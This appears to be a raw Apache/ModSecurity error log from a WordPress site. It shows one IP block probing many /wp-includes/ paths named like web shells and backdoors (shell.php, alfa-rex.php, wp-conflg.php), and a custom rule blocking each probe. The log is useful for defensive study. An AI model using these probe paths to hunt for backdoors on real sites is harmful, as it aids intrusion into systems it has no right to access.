[Wed Apr 22 07:15:52.374051 2026] [:error] [pid 21682:tid 21730] [client 45.137.126.26:23003] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/colour.php"] [unique_id "aegFKJlXWQZUlmPHS3oKQwAAAEc"]
[Wed Apr 22 07:15:55.733009 2026] [:error] [pid 21682:tid 21744] [client 45.137.126.36:32815] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aegFK5lXWQZUlmPHS3oKSwAAAFU"]
[Wed Apr 22 07:15:56.719008 2026] [:error] [pid 31706:tid 31715] [client 45.137.126.28:61499] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/include.php"] [unique_id "aegFLLGSe9Rnd4Q_z1ig8gAAAcY"]
[Wed Apr 22 07:16:01.939286 2026] [:error] [pid 21683:tid 21771] [client 45.137.126.12:54057] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aegFMVZBWT-0diZyYyabIwAAAJU"]
[Wed Apr 22 07:16:07.154126 2026] [:error] [pid 23041:tid 23049] [client 45.137.126.45:49047] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aegFN0TXx_lUa7xwAb7uMgAAAQU"]
[Wed Apr 22 07:16:08.133919 2026] [:error] [pid 23041:tid 23059] [client 45.137.126.14:47009] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about5.php"] [unique_id "aegFOETXx_lUa7xwAb7uNAAAAQ8"]
[Wed Apr 22 07:16:16.954484 2026] [:error] [pid 23041:tid 23067] [client 45.137.126.30:56231] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/db.php"] [unique_id "aegFQETXx_lUa7xwAb7uUAAAARc"]
[Wed Apr 22 07:16:22.149315 2026] [:error] [pid 31755:tid 31765] [client 45.137.126.35:46307] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aegFRgz2mYMkg3X8q1trLAAAAgI"]
[Wed Apr 22 07:16:29.115910 2026] [:error] [pid 31949:tid 31953] [client 45.137.126.10:25965] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aegFTX2WtGZh5JfbMUdAIgAAAwE"]
[Wed Apr 22 07:16:30.095600 2026] [:error] [pid 21683:tid 21753] [client 45.137.126.50:37139] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aegFTlZBWT-0diZyYyabPwAAAIM"]
[Wed Apr 22 07:16:31.081775 2026] [:error] [pid 23041:tid 23058] [client 45.137.126.27:38877] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aegFT0TXx_lUa7xwAb7uggAAAQ4"]
[Wed Apr 22 07:16:36.841978 2026] [:error] [pid 31755:tid 31775] [client 45.137.126.19:39359] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aegFVAz2mYMkg3X8q1trVQAAAgw"]
[Wed Apr 22 07:16:41.692275 2026] [:error] [pid 32095:tid 32115] [client 45.137.126.5:42891] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aegFWdfu5Cv628YPe594MgAAA5E"]
[Wed Apr 22 07:16:42.673347 2026] [:error] [pid 31756:tid 31797] [client 45.137.126.10:50109] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aegFWt_WbkXbHaEfhd3d6QAAAkU"]
[Wed Apr 22 07:16:45.926763 2026] [:error] [pid 23041:tid 23049] [client 45.137.126.28:49257] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "aegFXUTXx_lUa7xwAb7uqwAAAQU"]
[Wed Apr 22 07:16:46.906634 2026] [:error] [pid 23041:tid 23058] [client 45.137.126.33:40975] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/simi.php"] [unique_id "aegFXkTXx_lUa7xwAb7urQAAAQ4"]
[Wed Apr 22 07:16:51.806039 2026] [:error] [pid 23041:tid 23068] [client 45.137.126.18:33787] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aegFY0TXx_lUa7xwAb7uugAAARg"]
[Wed Apr 22 07:16:54.132806 2026] [:error] [pid 23041:tid 23047] [client 45.137.126.17:22711] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aegFZkTXx_lUa7xwAb7uvwAAAQM"]
[Wed Apr 22 07:16:55.124611 2026] [:error] [pid 31756:tid 31796] [client 45.137.126.39:31173] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aegFZ9_WbkXbHaEfhd3d8wAAAkQ"]
[Wed Apr 22 07:16:56.108524 2026] [:error] [pid 23041:tid 23058] [client 45.137.126.33:40861] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aegFaETXx_lUa7xwAb7uxQAAAQ4"]
[Wed Apr 22 07:17:01.199722 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.46:63113] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aegFbUTXx_lUa7xwAb7u4wAAAQY"]
[Wed Apr 22 07:17:06.069070 2026] [:error] [pid 21682:tid 21738] [client 45.137.126.44:42991] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aegFcplXWQZUlmPHS3oKfwAAAE8"]
[Wed Apr 22 07:17:09.343066 2026] [:error] [pid 31949:tid 31963] [client 45.137.126.46:50633] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aegFdX2WtGZh5JfbMUdAOgAAAws"]
[Wed Apr 22 07:17:10.333956 2026] [proxy_fcgi:error] [pid 21682:tid 21736] [client 45.137.126.7:27107] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/rcacivils/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/rcacivils/public_html/wp-admin/includes/admin.php on line 16'
[Wed Apr 22 07:17:11.323319 2026] [:error] [pid 31755:tid 31776] [client 45.137.126.25:64699] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aegFdwz2mYMkg3X8q1trggAAAg0"]
[Wed Apr 22 07:17:22.456896 2026] [:error] [pid 21682:tid 21723] [client 45.137.126.28:47009] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugin.php"] [unique_id "aegFgplXWQZUlmPHS3oKuwAAAEA"]
[Wed Apr 22 07:17:23.439446 2026] [:error] [pid 21682:tid 21734] [client 45.137.126.15:33197] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aegFg5lXWQZUlmPHS3oKvQAAAEs"]
[Wed Apr 22 07:17:28.399765 2026] [:error] [pid 32053:tid 32072] [client 45.137.126.50:42067] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aegFiAzPjXx_ocfbYhs4wwAAA1E"]
[Wed Apr 22 07:17:36.472872 2026] [:error] [pid 23041:tid 23049] [client 45.137.126.7:54903] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aegFkETXx_lUa7xwAb7vPwAAAQU"]
[Wed Apr 22 07:17:41.456449 2026] [:error] [pid 31755:tid 31784] [client 45.137.126.19:56981] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aegFlQz2mYMkg3X8q1trqAAAAhU"]
[Wed Apr 22 07:17:46.523736 2026] [:error] [pid 21682:tid 21729] [client 45.137.126.25:60563] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aegFmplXWQZUlmPHS3oK0wAAAEY"]
[Wed Apr 22 07:17:49.883744 2026] [:error] [pid 31756:tid 31805] [client 45.137.126.9:22193] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aegFnd_WbkXbHaEfhd3eDgAAAk0"]
[Wed Apr 22 07:17:53.199926 2026] [:error] [pid 31755:tid 31763] [client 45.137.126.6:36119] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aegFoQz2mYMkg3X8q1trtwAAAgA"]
[Wed Apr 22 07:18:01.655244 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.29:55375] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aegFqUTXx_lUa7xwAb7voQAAAQY"]
[Wed Apr 22 07:18:08.059354 2026] [:error] [pid 23041:tid 23066] [client 45.137.126.47:25731] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aegFsETXx_lUa7xwAb7v6AAAARY"]
[Wed Apr 22 07:18:09.049087 2026] [proxy_fcgi:error] [pid 31949:tid 31953] [client 45.137.126.51:32023] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:18:09.547296 2026] [:error] [pid 31949:tid 31966] [client 45.137.126.51:32023] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aegFsX2WtGZh5JfbMUdAWwAAAw4"]
[Wed Apr 22 07:18:10.537344 2026] [:error] [pid 23041:tid 23061] [client 45.137.126.21:38091] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aegFskTXx_lUa7xwAb7wIQAAARE"]
[Wed Apr 22 07:18:15.510823 2026] [:error] [pid 31755:tid 31775] [client 45.137.126.37:61485] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aegFtwz2mYMkg3X8q1trygAAAgw"]
[Wed Apr 22 07:18:16.492681 2026] [:error] [pid 31949:tid 31969] [client 45.137.126.35:62101] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aegFuH2WtGZh5JfbMUdAYAAAAxE"]
[Wed Apr 22 07:18:28.240301 2026] [:error] [pid 31755:tid 31780] [client 45.137.126.19:65159] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-2019.php"] [unique_id "aegFxAz2mYMkg3X8q1tr5AAAAhE"]
[Wed Apr 22 07:18:29.223705 2026] [:error] [pid 31755:tid 31785] [client 45.137.126.36:50107] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aegFxQz2mYMkg3X8q1tr5wAAAhY"]
[Wed Apr 22 07:18:32.496786 2026] [:error] [pid 21682:tid 21723] [client 45.137.126.5:24319] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/log.php"] [unique_id "aegFyJlXWQZUlmPHS3oK-AAAAEA"]
[Wed Apr 22 07:18:33.476103 2026] [:error] [pid 31755:tid 31765] [client 45.137.126.10:52303] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aegFyQz2mYMkg3X8q1tr8gAAAgI"]
[Wed Apr 22 07:18:34.458705 2026] [:error] [pid 31755:tid 31764] [client 45.137.126.24:42569] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aegFygz2mYMkg3X8q1tr9AAAAgE"]
[Wed Apr 22 07:18:35.445441 2026] [:error] [pid 31755:tid 31769] [client 45.137.126.21:62199] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/aw.php"] [unique_id "aegFywz2mYMkg3X8q1tr9gAAAgY"]
[Wed Apr 22 07:18:43.879118 2026] [:error] [pid 31755:tid 31784] [client 45.137.126.48:33851] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/db.php"] [unique_id "aegF0wz2mYMkg3X8q1tsBgAAAhU"]
[Wed Apr 22 07:18:44.857350 2026] [:error] [pid 31949:tid 31966] [client 45.137.126.11:33625] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/install.php"] [unique_id "aegF1H2WtGZh5JfbMUdAcQAAAw4"]
[Wed Apr 22 07:18:49.525608 2026] [:error] [pid 21682:tid 21736] [client 45.137.126.4:29259] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aegF2ZlXWQZUlmPHS3oLEgAAAE0"]
[Wed Apr 22 07:18:51.507301 2026] [:error] [pid 23041:tid 23046] [client 45.137.126.24:21949] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aegF20TXx_lUa7xwAb7wjgAAAQI"]
[Wed Apr 22 07:18:56.552865 2026] [:error] [pid 21682:tid 21728] [client 45.137.126.36:39411] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/template-less.php"] [unique_id "aegF4JlXWQZUlmPHS3oLJwAAAEU"]
[Wed Apr 22 07:18:57.539696 2026] [:error] [pid 23041:tid 23051] [client 45.137.126.10:23037] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aegF4UTXx_lUa7xwAb7wmQAAAQc"]
